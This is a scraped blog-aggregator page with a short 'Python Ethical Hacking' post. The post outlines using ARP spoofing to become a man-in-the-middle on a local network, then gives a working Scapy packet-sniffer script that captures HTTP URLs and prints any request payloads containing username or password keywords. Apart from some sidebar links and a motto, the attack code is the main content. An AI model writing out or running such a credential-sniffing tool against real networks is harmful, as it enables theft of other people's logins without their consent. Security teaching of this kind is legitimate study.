zoukankan      html  css  js  c++  java
  • Python Ethical Hacking

     Capturing passwords from any computer connected to the same network. 

    ARP_SPOOF + PACKET_SNIFFER

    • Target a computer on the same network.
    • arp_spoof to redirect the flow of packets(become MITM)
    • Packet_sniffer to see URLs, usernames, and passwords sent by the target.
    #!/usr/bin/env python
    
    from scapy.all import *
    from scapy.layers.http import *
    
    
    def sniff(interface):
        scapy.all.sniff(iface=interface, store=False, prn=process_sniffed_packet)
    
    
    def get_url(packet):
        return packet[HTTPRequest].Host.decode(errors='ignore') + packet[HTTPRequest].Path.decode(errors='ignore')
    
    
    def get_login_info(packet):
        if packet.haslayer(scapy.all.Raw):
            load = packet[scapy.all.Raw].load.decode(errors='ignore')
            keywords = ["username", "user", "login", "password", "pass"]
            for keyword in keywords:
                if keyword in load:
                    return load
    
    
    def process_sniffed_packet(packet):
        if packet.haslayer(HTTPRequest):
            url = get_url(packet)
            print("[+] HTTP Request >> " + url)
    
            login_info = get_login_info(packet)
            if login_info:
                print("
    
    [+] Possible username/password > " + login_info + "
    
    ")
    
    
    sniff("eth0")

    相信未来 - 该面对的绝不逃避,该执著的永不怨悔,该舍弃的不再留念,该珍惜的好好把握。
  • 相关阅读:
    CompareUtil
    linux awk学习笔记
    linux用grep查找包含两个关键字的命令
    mysql 使用set names 解决乱码问题
    对私有静态方法进行单测
    使用JUnit测试预期异常
    Tortoise svn 冲突解决主要办法
    tortoise svn冲突解决
    word-break与word-wrap
    移动端适配
  • 原文地址:https://www.cnblogs.com/keepmoving1113/p/11441145.html
Copyright © 2011-2022 走看看